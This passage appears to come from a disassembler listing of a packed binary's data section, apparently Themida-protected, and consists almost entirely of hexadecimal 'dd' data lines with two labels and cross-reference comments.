		dd 6369FA97h, 3503782Ah, 3888612h, 4386007Eh, 0C92106E9h
		dd 0A91E8B70h, 2F00F544h, 0CA297EC7h, 0A3A60096h, 0F7C6BFCh
		dd 770E5718h, 0A12AB78Dh, 746A35DCh, 39DD1080h,	0C6785FDAh
		dd 0EA998600h, 0B95534A6h, 0A0B273h, 0F4FD350Fh, 0E51FD546h
		dd 9C98E26h, 0DC7814h, 0A60DAC1Bh, 1FCE253h, 58356F4Dh
		dd 30EEEA28h, 4535F249h, 0AC004823h, 8E29AB56h,	0BC3F2D21h
		dd 4400B470h, 0C63D27F0h, 485B7Ah, 7FA58BF7h, 0F1D8F3C5h
		dd 0ECC35300h, 7950E564h, 227007CFh, 854683DBh,	3E4480E6h
		dd 8B24EA3Ah, 78248054h, 5FB95C80h, 3DFBDDh, 0BA76A209h
		dd 0CFC8042h, 1CCE3300h, 905FAD51h, 1D71BEh, 80D32C15h
		dd 0AF91EC45h, 34090626h, 5B52200h, 9F5A54h, 71D2D5EBh
		dd 0E0231C2Bh, 2672D4A8h, 64407F18h, 7E1378h, 776532E7h
		dd 0B9D3925Fh, 0ACB4E502h, 72FF40FAh, 34E813B8h, 0D380405Ah
		dd 93EA498Dh, 94E208FEh, 48133700h, 0B1067516h,	0A99C00AFh
		dd 0DB1DEF62h, 7C3FE3F7h, 302E00CCh, 70BC87E1h,	9BD00077h
		dd 99932CEBh, 0F8009EB1h, 39175795h, 5AE37819h,	9F9900F5h
		dd 15B234B3h, 273CC973h, 0A528168Dh, 0D4A01A00h, 4C979691h
		dd 71B684h, 0F3EDEC0Bh,	8A787ED7h, 3819E200h, 8C45FA99h
		dd 0F0BA29h, 1509A62Dh,	9C902CB6h, 0FC9CA8F0h, 209E2A0Eh
		dd 1614A52Fh, 815007Bh,	991A05EDh, 6E008841h, 0FA65C976h
		dd 2F6A106h, 0B96BA74Dh, 6860E2FEh, 4326B851h, 80398C1Eh
		dd 9DF9B190h, 1E704CFFh, 85AAB2FEh, 808388A5h, 0CC878534h
		dd 5DBFA780h, 6D034CC7h
		dd 0D3B902A3h, 0ADBE111Eh, 0E09D3ECAh, 0FBE7E000h, 48A70E1Bh
		dd 0F8072AC4h, 37BAD37Ch, 7DD9805Bh, 307B0FB9h,	2313FB00h
		dd 6E5A6F12h, 0C024030Ch, 0D6E5EB29h, 0BE077908h, 671489C4h
		dd 0F97C2C00h, 8492B3D8h, 0CEF1CC5Eh, 2629EEE4h, 2C685Ch
		dd 28E9E8E2h, 0FEF37667h, 24A08058h, 0B9035E74h, 3FC0FDCCh
		dd 0BB5CC04Eh, 1DD4F0CAh, 0C0723303h, 48179CE5h, 0AD00217Eh
		dd 7A6991A2h, 0CBAF0Dh,	37038BFBh, 0EE5CBCC3h, 39F06802h
		dd 52604E2Ch, 340432D0h, 3859B420h, 0E21D7E1Dh,	443E0149h
		dd 45CF018Ch, 47A6A5CEh, 649DD0EEh, 4A1F3200h, 977889Ch
		dd 1ECF001Ch, 60289FF4h, 890AEC53h, 9082FA18h, 0C1A3013Ch
		dd 21A0CE02h, 1875984h,	470CB436h, 53A5C600h, 0D26EBBC8h
		dd 54B90F69h, 0E70275EEh, 0AC59044Ch, 8BC8C710h, 8093C90Eh
		dd 3E034D60h, 0CB82079Ah, 90EE8026h, 1C027BA6h,	0D09DA200h
		dd 1B3C7EC1h, 510B60E6h, 0CDE86A45h, 0F4B67607h, 79A06CA9h
		dd 55668Dh, 0A5DF9AD7h,	0F625AB36h, 0F0039C07h,	0C1A038B3h
		dd 0CF2665h, 0F99C5E2h,	0B13AC7F2h, 762DCB18h, 775CC930h
		dd 17651FD5h, 108D6541h, 0EB040BB8h, 0BD855303h, 0ACA39AEDh
		dd 86B2180Ah, 0E71CECA1h, 0CCC78D47h, 0DA4F47F0h, 48FEEA3Fh
		dd 0B30C04C8h, 0DB29BFC3h, 51F72284h, 0E311EA42h, 8CF21BDh
		dd 0D6905220h, 48BB2A84h, 54164223h, 8421C224h,	8C1711B7h
		dd 1259C411h, 0B5BE102Eh, 0A2080B89h, 841A5D44h, 9E4C3910h
		dd 0A2397F21h, 11064264h, 53214885h, 9066EC08h,	498B8472h
		dd 21444748h, 0D2135E22h, 8BBB2247h, 2469ED22h,	45DF214Ah
		dd 9B25AF12h, 34A800A3h, 98970086h, 0D927B594h,	7500C2CDh
		dd 74E059A4h, 37BBADDh,	885F583h, 0C6D07D1Ch, 8401885Ah
		dd 6C253D12h, 5B70B798h, 723500F2h, 0CD02132Dh,	0C50045DDh
		dd 0B1662542h, 0BEB7CEh, 4A270F1Fh, 5B085639h, 17043300h
		dd 9725F62Ch, 496900E8h, 18FEA64Fh, 0DB075A4Bh,	32950C3Bh
		dd 0A17BF8A0h, 44143F7Fh, 50F40781h, 96FD9F7Ch,	2F024248h
		dd 49FF70CCh, 7C7CE078h, 0C0796F85h, 0AC8B8208h, 480BF100h
		dd 0D5D9BEB6h, 0B8EDE60Dh, 416B0010h, 0FDE3525Ch, 0C7006E4Ch
		dd 58823AA7h, 39733h, 0D408237Bh, 1538D7A0h, 2868CF60h
		dd 1062C96h, 8EAD5E1Ch,	0E02FCD9Eh, 92044920h, 28DCA78Dh
		dd 0BCEB8A0h, 0CD72AD66h, 59D28303h, 17813BC0h,	0A62CD17Ah
		dd 2B00AC80h, 31141A3Fh, 0FFE5009Ah, 4B535E66h,	3B3DA3A1h
		dd 0B5E70048h, 0E093C756h, 82F10057h, 300822F7h, 25003C1Bh
		dd 9ABD7A85h, 3C40A6Ch,	43032A68h, 0D6D875B6h, 71007830h
		dd 0E7BE5714h, 12CB849h, 0BAF91610h, 7E820A9Bh,	0A2DC59C0h
		dd 0C33203BEh, 0AA410E59h, 1FF1F001h, 9C6A6B34h, 11EBFC40h
		dd 76770020h, 0EDE8B99Ah, 6816211Ch, 16015F3Bh,	4A6685DEh
		dd 0F95424h, 556A81E2h,	99A9FE4Fh, 196FA600h, 8AF0E744h
		dd 0DAB83891h, 373E2681h, 70095776h, 0AF2EF65Dh, 84B83C3Ch
		dd 2A61A5A9h, 39BC24A0h, 0EA015BBDh, 3684ED31h,	9CB828E5h
		dd 0B3698700h, 17A6FC92h, 9480BAh, 42FB4CF4h, 0B9046D76h
		dd 0E11D5FC1h, 9146DCA0h, 61D18088h, 7A6F0BB6h,	0EE222A07h
		dd 34208E96h, 30473581h, 2A0086Eh, 63F62E99h, 3C7D0B79h
		dd 0BDB5A10Eh, 64EC045h, 35CE611h, 0C962EFDEh, 0AFB8B88Ch
		dd 28C345F9h, 884E5864h, 0F72FAAh, 0E177FF75h, 0CA6FD026h
		dd 0A68E3607h, 0B770F6BFh, 90F8E0B6h, 0F53200B0h, 4FF70111h
		dd 0BE0E4783h, 60B8CCFEh, 1FB1E609h, 0FF6A03E9h, 0F5C40B59h
		dd 521736A8h, 0B83D7B79h, 378A00B5h, 0AF1E1CADh, 0CC760326h
		dd 694D518h, 9DE4D7C8h,	56E9FF0Ah, 0A6018CC6h, 6C70925Fh
		dd 90FB66D8h, 4CF50F18h, 0D9462C48h, 4D00A4D3h,	64EA5EA3h
		dd 67554C9h, 0E0DF5FECh, 0EB501168h, 0CC903F84h, 8E9C0C0Ah
		dd 0D600F8ABh, 0E47F175Bh, 0E4977BECh, 83F98854h, 8024F325h
		dd 0A10F650h, 7D2B00D5h, 0CA6D74A2h, 249C15F5h,	0D19BF901h
		dd 7C281D8Ch, 0EB5D45C0h, 4D01514Bh, 0D7084AC9h, 4CDC9607h
		dd 30D90088h, 0A682C87Dh, 0BF00DDCCh, 75C42E04h, 2E0C51E8h
		dd 4C353BEh, 81CCCD0Eh,	30EB83B4h, 2600178Eh, 7134F5ECh
		dd 10862Ch, 41889A44h, 0C5D4CBB9h, 0F22DE00h, 1EF47F11h
		dd 0FC011304h, 94CD0033h, 0EB9F55A4h, 69361B13h, 0AFCDA440h
		dd 7EDAA1EDh, 6CE68163h, 94320378h, 0B8A02980h,	114BA11h
		dd 9E05A498h, 0E9BC1323h, 0B20D30B3h, 4908AD00h, 0D38235B6h
		dd 4AA3032h, 31D28511h,	1D077B78h, 0AEE1DA62h, 5A7464B2h
		dd 689D0014h, 0EB71440Fh, 8D54158Eh, 210170ACh,	0C27BCA08h
		dd 4020E1C4h, 85410056h, 3DF8DCB4h, 0CC0001D4h,	0C0921CBh
		dd 3FACFB03h, 7D809DE6h, 0FEF34727h, 11004A36h,	6D72A331h
		dd 0A41FCh, 0B378590Dh,	3BF0240Fh, 76641F02h, 408D81D0h
		dd 19E0438Ch, 0DE476BF3h, 8D9F3DFh, 761180E3h, 31745D17h
		dd 0A61B1C43h, 0B96E4FA7h, 0F1975EE0h, 2D786548h, 5537D203h
		dd 3CB917Eh, 42254438h,	11004EEDh, 0B39F3D1h, 12C9361Ch
		dd 4F6949F6h, 5FA2A890h, 60606597h, 0A138DBC2h,	85A8021h
		dd 0D9B4C932h, 9090C8h,	1F02EC16h, 6C965D9Ch, 89946848h
		dd 0FCAC98BCh, 1ACF0030h, 0E5C47933h, 4F180EBDh, 0BC113710h
		dd 94E790Fh, 9EDFAD76h,	0B64A9000h, 1A005A06h, 9D61B3B9h
		dd 588C94h, 18F24940h, 2416D839h, 0B8027976h, 35C295A8h
		dd 0A7984042h, 885B0403h, 80986A90h, 0ED33D470h, 0B50CA800h
		dd 76040E9Eh, 1EEF3050h, 0CC8025D8h, 8042CA39h,	0B7A8286h
		dd 3DB1BBBh, 45554CBDh,	0A8E8CE04h, 0F400ADABh,	391E3629h
		dd 0C2092Eh, 9AF9B39Fh,	732CA3B2h, 0D8BD48h, 0E4E1F494h
		dd 1601DBh, 555976C1h, 0C622A93Dh, 5C5A6500h, 28F0A654h
		dd 9B8D0016h, 5B795642h, 600B386h, 3B4F5A53h, 30EA32A7h
		dd 0D684878h, 0CB00BBDDh, 93575DB6h, 0E164FEh, 7572139Dh
		dd 5E556FAEh, 0DCF358C0h, 0DF47F5h, 349EF7Ah, 7BBC69B9h
		dd 80D9DD01h, 0C3064BD3h, 9BD3DD4h, 699287CEh, 17830A00h
		dd 0E4F51B47h, 0E300F2BAh, 643E08D4h, 37E59Fh, 8261CFCDh
		dd 0A8B45A88h, 18FD7800h, 0F6BB30BAh, 0E4ED243Ah, 923901E0h
		dd 0C04A6135h, 0D93DF0C4h, 0A60501F5h, 0DBF2C27Eh, 7D450C9h
		dd 294D00D1h, 0A2D2D669h, 4A3052F3h, 0F2A51125h, 679B0951h
		dd 0E02182BDh, 57C455h,	0E6E58C7h, 0A13718EBh, 0DE10AD20h
		dd 6D58A3EAh, 22340128h, 0C824FC1Dh, 0F7502E8h,	1AD736CDh
		dd 7A3CB8A3h, 0B410BAA0h, 6E86800h, 0D24BBBF4h,	0B3660035h
		dd 0C4ACA005h, 0DC0050C5h, 2A11CB60h, 0BB1DDAh,	90537478h
		dd 0EA8BE6CCh, 3FF20A00h, 0E3DBD219h, 40610EA0h, 0DD2035D8h
		dd 260AAA21h, 0DCD358h,	23E8F7A4h, 56C0F60h, 7271A817h
		dd 7E64C03Ah, 6B03DDD9h, 11602108h, 54FEA136h, 7FFBECh
		dd 0C6E559D0h, 2070EE5Bh, 12AEC303h, 0B01B48F6h, 9CCCAAAh
		dd 4F1E3C76h, 0B08B8901h, 2B12DC17h, 91939C00h,	131B1DBEh
		dd 0CBE93A2Ah, 0F4392Ah, 0C4899BDh, 8ECA1731h, 4B94C600h
		dd 0CC52C05Bh, 0E807939h, 96984CBFh, 9D709057h,	0EF0090AAh
		dd 0A051EC7Eh, 1F63D8Bh, 7867D0D9h, 0D4E005F0h,	63003358h
		dd 528F3C2Eh, 55DC198h,	8AA787CDh, 64B4004Fh, 1D11C373h
		dd 65D22700h, 7E88C121h
		dd 48A60041h, 36F14FE1h, 3F0096F4h, 0F949B5D9h,	5A29AAh
		dd 0C559CCD3h, 2A3DEC79h, 0FEDE0D00h, 0D9725C44h, 117F0054h
		dd 0C4883C3Ah, 7F80F14h, 0FDD39800h, 916E6A93h,	4C9D1CA2h
		dd 46F143ECh, 0E0BA0DADh, 634BC480h, 9A1FD596h,	0B7008EE7h
		dd 2AB58B2Bh, 70978A2h,	503FD815h, 60BAD055h, 0FA00733Ch
		dd 51CBA533h, 0B1C65Bh,	8CEBBEABh, 2FFC2BD1h, 0F4F65800h
		dd 6318A242h, 0DDE60201h, 7D19D2D3h, 5AFCF4A1h,	23A8DB53h
		dd 67006B5Bh, 76699CE4h, 7A1DB6E5h, 6CB303ECh, 6352D946h
		dd 0B4EDAEE0h, 3D812516h, 0BE3FF400h, 286F3C0h,	3B044CC6h
		dd 60F8CEBAh, 3C054B00h, 250C18F7h, 0D22060C1h,	3D7D9EB0h
		dd 0FF77357Bh, 4493AB01h, 150209BEh, 1D94E7D4h,	53B7AE51h
		dd 2A0200FBh, 5F62F62h,	0B01D4Ch, 2B336196h, 78AE713Ah
		dd 9BF222h, 0B19AE24Ch,	97403854h, 4BF641B8h, 3F32D600h
		dd 0F8317E56h, 892C3A0Fh, 3E9F0980h, 0C78F4A79h, 0B062363Dh
		dd 220708F2h, 0C07600C9h, 45428D1Dh, 0BD004CA2h, 7736FAFFh
		dd 7CBC4D16h, 9AB86753h, 2231900Ch, 0A81D9115h,	0CBE88BBh
		dd 1090BC7Bh, 0D36A000Fh, 42AB3F10h, 1E01F2A0h,	0C8C76FE5h
		dd 7EFCC1AEh, 7C1DE0C4h, 4F46003Ah, 0EBC93949h,	0C8001578h
		dd 0EA8ADCE4h, 6129DECh, 0F6A460FCh, 49E480FEh,	882A6500h
		dd 0DABE2CBh, 0B1D4004Ah, 0BE32B34Bh, 954B196Ah, 0F3E52880h
		dd 561700C0h, 0CF8F5878h, 1300DCF5h, 8D5D8652h,	0EDDF0D1h
		dd 0D4731F14h, 4369DAA0h, 0E900585Eh, 75CED5C2h, 2535957h
		dd 0A2E5ADEAh, 0D880136Bh, 0B99586FCh, 826C229Dh, 0C214001Ch
		dd 8A487A0Fh, 0D0FC0FA2h, 803FEECBh, 82DB191Eh,	0CE131807h
		dd 613B1191h, 108E3200h, 0CF8A169h, 348B4ADh, 7AF11F4Ah
		dd 0A0FC23FBh, 2F078354h, 69677437h, 0EAE7A810h, 0C93405E5h
		dd 0E47BD230h, 3B0A0C7Ch, 9C5FBF82h, 66C802Dh, 5C73C220h
		dd 0C900BCEAh, 1C0D68F8h, 5E00487Bh, 0D86ED6EBh, 0C1568D90h
		dd 0DB822580h, 6882CAAh, 6631C014h, 54392789h, 0E0F870C2h
		dd 0D538DE00h, 8DC5295Bh, 8298009Ah, 14EAB369h,	6F00591Ch
		dd 61548AD3h, 908B83FCh, 0DBF4EB77h, 8D841302h,	93AC88A3h
		dd 2FA16040h, 0FC007AACh, 0C75EA71Ch, 0D8F9D300h, 966CB26Dh
		dd 2CB8B1h, 865304D4h, 0FAD6875Bh, 5502D700h, 79B85885h
		dd 42911EEEh, 0F3CE0097h, 9FA5EDE7h, 4A049198h,	2568FBEFh
		dd 4913E4FCh, 5B30076h,	1F84DBD4h, 0D270590Eh, 48E7608Ch
		dd 0B49DC0h, 0DFB9907h,	5E45BA14h, 0CED39700h, 47CA50E3h
		dd 7E44043Eh, 0B916D7F2h, 0AF59005Ch, 0BBA30EF0h, 96CE1F63h
		dd 1945C0C1h, 0BC48EE38h, 0BD6C7F03h, 0D0E8D9ADh, 742081h
		dd 8A88A689h, 0EA15CA09h, 0E0B1F627h, 0BB2270h,	0B5AAB214h
		dd 34E41003h, 8A31700h,	3AA0F031h, 15E200D5h, 58F56A1Dh
		dd 0E679791Bh, 45039500h, 6110E03Fh, 0B0FB054h,	8849D5A6h
		dd 0EFD1980h, 0AE0116EAh, 4ED49E85h, 0CEDC9748h, 0B25900D2h
		dd 0C181BE64h, 54003D82h, 1A5AA7B1h, 0E76482Ah,	0BC85BB6Ah
		dd 0C5D2CD80h, 71000DDEh, 0F0CF4011h, 42C08Fh, 0CCBA0B0Ch
		dd 0D4C89284h, 0A970BF00h, 0A731DD73h, 0BCE008h, 7DC3CF55h
		dd 5FADF342h, 132F1F00h, 0D937CD6Eh, 6F110072h,	584724B7h
		dd 4F26E69Ch, 25006C88h, 8BD479EDh, 0CDF80BAAh,	5A807219h
		dd 0C6A70D1Fh, 0B85E532Eh, 4FF8041h, 1696C4h, 0C6ED6641h
		dd 7704CC1h, 84CF4600h,	1A56C493h, 5BAC396Bh, 7A1F1700h
		dd 59EF3EC3h, 0FC232B00h, 7BA40B3Bh, 0D94300BDh, 7D0C44F4h
		dd 59C0C5C8h, 55627156h, 140DF5Ah, 30753865h, 6E2180BDh
		dd 0D2C46B2Bh, 0A43E0125h, 176F0111h, 0F908603Dh, 7784CE00h
		dd 72A040F1h, 0C07E0069h, 7F102914h, 5500BB90h,	0FF2442ADh
		dd 65D8F45h, 0DBE48CFBh, 0C9FC705Fh, 0C4808A00h, 811A7F49h
		dd 0A6C5301Bh, 0C6CA2839h, 0B7603Fh, 0C2C9B1Fh,	0C1B31877h
		dd 4A196521h, 54E040BDh, 0D8016328h, 0C966251Bh, 1980AD7Ah
		dd 383B7378h, 26001AF6h, 96E7A551h, 25485EA9h, 1840D0AAh
		dd 1B3DE492h, 44D4CB56h, 410FBCC2h, 18801A40h, 9C16BF12h
		dd 4E009FA0h, 0CE7AE1DCh, 18777FB0h, 0C4B51455h, 0C7005BC5h
		dd 0C2980575h, 896F57h,	2C97B1B2h, 0D55E2701h, 0AB712E00h
		dd 4EE411B6h, 0DF7E0014h, 9D82AF09h, 0F1076ADCh, 4CB78339h
		dd 0F0E8433Bh, 0E79155Bh, 0EB07CDE0h, 4B0F8F40h, 924C1352h
		dd 44C5007Ch, 2BDC9B94h, 382013D1h, 8AB00EBh, 6CA20230h
		dd 2599A300h, 0C2D12F3h, 50751EBBh, 0D4A80056h,	9AEE3593h
		dd 7A71F462h, 0E438215Ah, 1843847h, 0C04EECCAh,	0A03C285Ch
		dd 3D423180h, 2CB0A92Bh, 0C83F1D00h, 0B1998708h, 0EE2458FAh
		dd 0CEA31307h, 0F1B9F0A7h, 4B5C98E6h, 16D33FF8h, 0CE0AD87h
		dd 7B3F26F9h, 0ED910398h, 76C0250Fh, 52E237EFh,	0E9B65502h
		dd 0E4EE2974h, 0AE9A003Ch, 914BF292h, 0E9007BAAh, 8BD2F9B4h
		dd 1B6431h, 39156043h, 4FED28C1h, 0F9B13500h, 0EEBCAC8Eh
		dd 8B0B3h, 9723AD70h, 1EA93699h, 5334A30Eh, 12610027h
		dd 0B0B3AAB6h, 0D4DE0034h, 5E4074D7h, 0DC02EB52h, 5470CBD6h
		dd 0D3C4C85Ch, 117300CCh, 330EFA13h, 94000946h,	26F5F0A1h
		dd 0A5222Fh, 63539CBEh,	3FC46AB8h, 57C68002h, 0DEEAB004h
		dd 36DC778h, 54F07D3Dh,	0A5007E88h, 5DB6D4D3h, 9001AA78h
		dd 752400CBh, 608B79CDh, 0B82521E8h, 6E1060E6h,	46B10366h
		dd 5FA50BFh, 97B800E5h,	0E145B9F3h, 0FFEE6C0Fh,	80E59C59h
		dd 797D8A28h, 0C80306AFh
		db 0EAh, 0FAh
word_505446	dw 0F927h		; DATA XREF: ___:off_435748o
		dd 0BA585A00h, 2E2A07A3h, 0B9F8251Fh, 2408ACE0h, 86AE3D00h
		dd 0A75CCF9Fh, 0AA72A6h, 2A281D59h, 92A2A1DDh, 3529A51Ch
		dd 187AD09Ch, 23F970DFh, 944500F8h, 0BFA88CABh,	0F55478ACh
		dd 520FA780h, 0F269B2B3h, 77002C13h, 1F661410h,	71E50357h
		dd 4DE86EC4h, 5F1EC0A8h, 76303958h, 415A7900h, 4BD37B2Dh
		dd 17803D7h, 7EA349EDh,	0C786C0F0h, 184C4016h, 9BE9EC00h
		dd 0E6583433h, 0C64900E7h, 0FFE52B2h, 102CD32h,	0F2AD578Eh
		dd 656840E6h, 0C39400C0h, 90E3814h, 7FF02D1Ah, 0D12FE91Fh
		dd 0CF813DC0h, 0E8D526h, 0EEEF8F71h, 0B96C3997h, 6F003A7Eh
		dd 0CBDCF73Bh, 91D2258h, 0DFAD2D0Ah, 0C27C8581h, 29D24302h
		dd 327E908Eh, 0AB0E0873h, 204F8921h, 8872C3BAh,	8C7E78h
		dd 69BE9197h, 0C6892D76h, 0F020D018h, 1CF2A8h, 8082D747h
		dd 7B5B8F7h, 1E3A7400h,	0B699DC57h, 0BA9C07F9h,	1871B73h
		dd 0D4568328h, 3903F20Dh, 0C926C297h, 788D6A2h,	0F1DD635h
		dd 36FF4063h, 0B10098F6h, 1AC32906h, 0BDAE8Dh, 0C5C40CECh
		dd 557FCC23h, 0A23CE009h, 0E4F68A03h, 84402E13h, 39C860F9h
		dd 2D85E1Fh, 0CF30BAFCh, 0B212B000h, 41F6036Ah,	0C03D04BBh
		dd 437B73E8h, 0E7165700h, 96DE3B3Eh, 54BE4C7Ah,	0FCD64900h
		dd 6C6432B2h, 0E900E371h, 625E1FE8h, 79E5E16Eh,	131000F4h
		dd 0E6C9EB87h, 42246F7Dh, 0C100895Ch, 4D5379EAh, 81060E67h
		dd 2DA08E91h, 0F2E8E744h, 0FC848902h, 0E06E23C7h, 5E4868h
		dd 0A1C137DDh, 0A9E0C6B5h, 76A8B401h, 79B99487h, 0F6F6AEF8h
		dd 24362E2Ah, 8CB30010h, 0EB695BB7h, 6F676200h,	251473DFh
		dd 647B122Ah, 8ECC002Eh, 0E312F1Bh, 0DA55A00h, 0FD493FEDh
		dd 17BE2CB4h, 3E1D00ECh, 9BF809D7h, 26E2B106h, 0F20FC70h
		dd 6F15CEDEh, 6616EB00h, 7F3C5E33h, 0BC9C80F6h,	4A8DE70Ch
		dd 0B25003EDh, 10D3E0E1h, 0A47286B0h, 95285B00h, 0ACDADB19h
		dd 0E8F5056Bh, 0C0E24101h, 3ACF7686h, 8022EF17h, 5DC2F8C0h
		dd 9ABD00DAh, 0C112AB30h, 0D00090F6h, 0E8FA9124h, 1293F77Fh
		dd 40135549h, 4BB39EE4h
dword_505694	dd 0DB007083h, 0DF5A8EC8h, 0C02F7Dh, 42C14A6Bh,	7A440AB1h
					; DATA XREF: Themida_:0055C51Co
		dd 8047983Ch, 595DE2DBh, 3FDCBF39h, 0A4800BD0h,	4837C38Fh
		dd 88C0A77Bh, 0A594E4CAh, 0EBE30996h, 0F8407E3Ch, 0EC002DD1h
		dd 0C2CB1A4Ah, 3AAA6046h, 0D700C781h, 19F49E97h, 0FB1E292Eh
		dd 8E96072Ch, 5D397846h, 0B8961699h, 5F7844D4h,	1D25802Ah
		dd 170321CAh, 0E947DD7Eh, 0D5210142h, 4AD83DF7h, 3F0609Eh
		dd 46EA2100h, 0C974A98Eh, 2F1D010Bh, 0D243E5D8h, 3900DFFDh
		dd 0CA90A3C1h, 558EE66h, 6CC65F06h, 84742228h, 292A118h
		dd 8324EBEFh, 94585339h, 342D210Ah, 6380B4B1h, 0AD66F27h
		dd 0E921C67Bh, 400CF625h, 291E554Ah, 4F4979C0h,	2C58C064h
		dd 219F072Fh, 997814FCh, 77CC7989h, 8F9018A0h, 46008A9Dh
		dd 0FDAEB849h, 603984E1h, 33D3696Eh, 0F1049785h, 0C8BE6D49h
		dd 747964E8h, 0C6710D96h, 1D691A0Ah, 8FFD0310h,	7B4C7048h
		dd 0B99F0602h, 0C897BC74h, 39F72E0Ch, 0D880414Ch, 0D733A350h
		dd 4A3B8907h, 5AD68056h, 69915BABh, 4B2E00B3h, 0EF9CC9C0h
		dd 2F121883h, 0B90037F5h, 0CB94FFA2h, 0B19A0E64h, 0F34FD8BDh
		dd 6D20D9E0h, 9D03B538h, 1367DB18h, 9A71E16Eh, 1D271080h
		dd 0E42CB216h, 0D8F8A10Ah, 6E9E90D0h, 391CC9E7h, 2A2079D0h
		dd 1B4A2E3h, 60FBB0E5h,	0C8FF1FBCh, 900F802Ch, 134230F1h
		dd 3C40201Dh, 76E78331h, 50B7D21h, 0BF233A19h, 27F8BCF1h
		dd 1CDC20EDh, 68482Eh, 0B6ABB504h, 2BEBF6E6h, 69711200h
		dd 0BA24D3A2h, 0F641F4E2h, 50C4600Bh, 7EB9A0FEh, 1300C6B0h
		dd 0D16EF5C8h, 38F07484h, 787CB53h, 0A054448Fh,	1C79CCDDh
		dd 4005AB01h, 1D2A5193h, 7A007C39h, 1C0943AAh, 3E7DCEBBh
		dd 82288600h, 15394C41h, 91E50036h, 2A95B0C6h, 3F000E0Ch
		dd 59809A98h, 0CB10A0h,	3E69274Ah, 0A4BC6F37h, 4F67151Eh
		dd 8C849040h, 0FE73A7h,	9FE7F10Ah, 0A652E5D6h, 0DEA98F00h
		dd 0EAB94E44h, 2F1500A2h, 93B7B4C5h, 2300F445h,	5A7DBAC1h
		dd 1F1099E4h, 84F6388Bh, 87BD6920h, 8FC7B064h, 5400C282h
		dd 0D9B2337Ch, 22EAEF8h, 0B4317E52h, 7AE0F9E7h,	94B0FB97h
		dd 32008C7Ch, 0B0F6152Ch, 46288B9h, 3116373Dh, 0B484BF02h
		dd 223810C0h, 3B85ADAh,	59710684h, 0E096DDF0h, 65ACC300h
		dd 84394414h, 27EC173Ah, 0CD880036h, 9A9CB7F8h,	0D292C505h
		dd 830090D9h, 0CC0D49E6h, 928F76E3h, 0D3CD4A30h, 0D3D007E4h
		dd 61D7177h, 0F117B116h, 0E1686F01h, 2BC8EA2Ch,	0CDFC0379h
		dd 0BA5E8BDDh, 0CD506A8h, 577B4B00h, 0C1CFD282h, 5812000Bh
		dd 0EAD7F310h, 203CA8FCh, 4089002Ch, 71849A03h,	0C05C5ACCh
		dd 5FECCF30h, 1819EE00h, 0D5F4B47Eh, 0E92F098Dh, 7C207D3Ah
		dd 0B51A2AD0h, 18026C9Ah, 7AE530C9h, 7F078BAh, 0F3B6916Ch
		dd 2FE711E8h, 0B41BEC10h, 0C4C6974Bh, 93E30939h, 0CA020D6h
		dd 0A14C9DAEh, 90C29509h, 0AEEC0EE4h, 4E91A06Fh, 58BCF1h
		dd 0A36A440Bh, 688A4DBBh, 578AF5Ch, 498C6074h, 3F737781h
		dd 542FFFC4h, 0B22DA884h, 12700238h, 928891BEh,	59806467h
		dd 8AA81301h, 0BFE70B90h, 10004DA6h, 89D46E5Bh,	0DEA55702h
		dd 68B9CB21h, 1F70888h,	0BACF46C1h, 648AD2ECh, 0DC88322Ch
		dd 46AB03C9h, 0C412841Ah, 5CC703B2h, 14889E13h,	3CF00C7h
		dd 6A544B88h, 0BF006099h, 2DE312E8h, 0B8CE9A7Bh, 0EBF02F94h
		dd 0B7A9F0C0h, 0E7667E18h, 1FD5F1h, 0BC5DA6EFh,	7FC0FFCBh
		dd 75963100h, 0D0FBEA05h, 26AB8A7h, 29F4D4DBh, 84802643h
		dd 73F93D31h, 5D108060h, 0EE7FDE9Bh, 8DD7000Fh,	0A71A8BCAh
		dd 0E40270F9h, 95F4852Dh, 0B05E601Ch, 0C2C13947h, 0C94BDB07h
		dd 0BB9B80D5h, 2E00969Eh, 61A841F5h, 0ADF422h, 0E6F3B1B4h
		dd 4CEFF695h, 88FFF00h,	0D7745713h, 0DDFB7221h,	0B9BC028h
		dd 84456E41h, 617BDC72h, 289ACF07h, 8039E288h, 0A630066Bh
		dd 59540098h, 499D9C07h, 0F00B512h, 8B27FE28h, 321B280h
		dd 0DE69BA67h, 98004696h, 7ED6507Fh, 0F6168656h, 0DCB400F4h
		dd 8B8077E6h, 8C79179Ah, 0E8982105h, 0C81BE0ABh, 0B79CF058h
		dd 913901D7h, 0A44E16D9h, 0BB7EEC26h, 5E067C70h, 78E9A5B4h
		dd 69230078h, 4595EB46h, 720A588Bh, 0A87D030Eh,	0F5A0C900h
		dd 11ADF3h, 0DF8F66B5h,	558E7B26h, 0A8953730h, 620561h
		dd 8C44BAFDh, 0FEA959A2h, 7B1CDB0Fh, 3FA8A071h,	729E1F6h
		dd 2E9A6D76h, 209780F8h, 0A00082C7h, 0D2D5A806h, 0C67C59h
		dd 0AF7B9588h, 0B868E8CCh, 11D4D1F2h, 0DDC003Bh, 0F9D2F63Ah
		dd 5719C0E4h, 44A993B8h, 0DC01691Eh, 0EC722A7Ch, 42D1D200h
		dd 0AF242367h, 0A56E8B9h, 4C7B2E99h, 0D6580090h, 295DED05h
		dd 75EC940Ch, 401114h, 83B19CE9h, 7A311E6Ch, 47543D18h
		dd 0B55C58h, 0F4B2E0D6h, 595308E8h, 9CF67B00h, 5689480Eh
		dd 0BCD24A8Ch, 46700089h, 130A733h, 0EAE4035Fh,	0CCB28DF3h
		dd 0EBA2C7E0h, 818B0C01h, 0DE03B973h, 3A809F4h,	34CA2E30h
		dd 1007B1EDh, 6C03C5Fh,	68151DE0h, 0EA8F3E53h, 0A21CCE00h
		dd 3C78361Bh, 0B743F500h, 23D95D17h, 2DE2008Ah,	0E35939AAh
		dd 4C008DE9h, 1CBCC22Bh, 7DD21Fh, 32DA0F0Ah, 6356FCFEh
		dd 5D139B01h, 260CA693h, 9ABADCh, 0B6F3F968h, 194D1186h
		dd 0AD185F00h, 91C9136Bh, 0E2A80534h, 7C67D2Bh,	0E02E2CB8h
		dd 0E7A7AA30h, 4A2DB33Bh, 0A5333CFCh, 60CB27CCh, 6B6C77D8h
		dd 76352400h, 0F4B3A4DEh, 11286061h, 30F3B2A3h,	75F89700h
		dd 0C863DA9Ah, 0B3BF3F1Fh, 367BE700h, 0CEC64B22h, 76E69F00h
		dd 8B17F9F5h, 0A666006Ah, 8E600F3Ah, 0F806FADBh, 2906CAACh
		dd 544600A0h, 6F1466D7h, 65000312h, 35D0DD57h, 1D68E6D2h
		dd 4013FF82h, 8CF39BCBh, 2F50EAD3h, 0E01F66F0h,	2140D51Fh
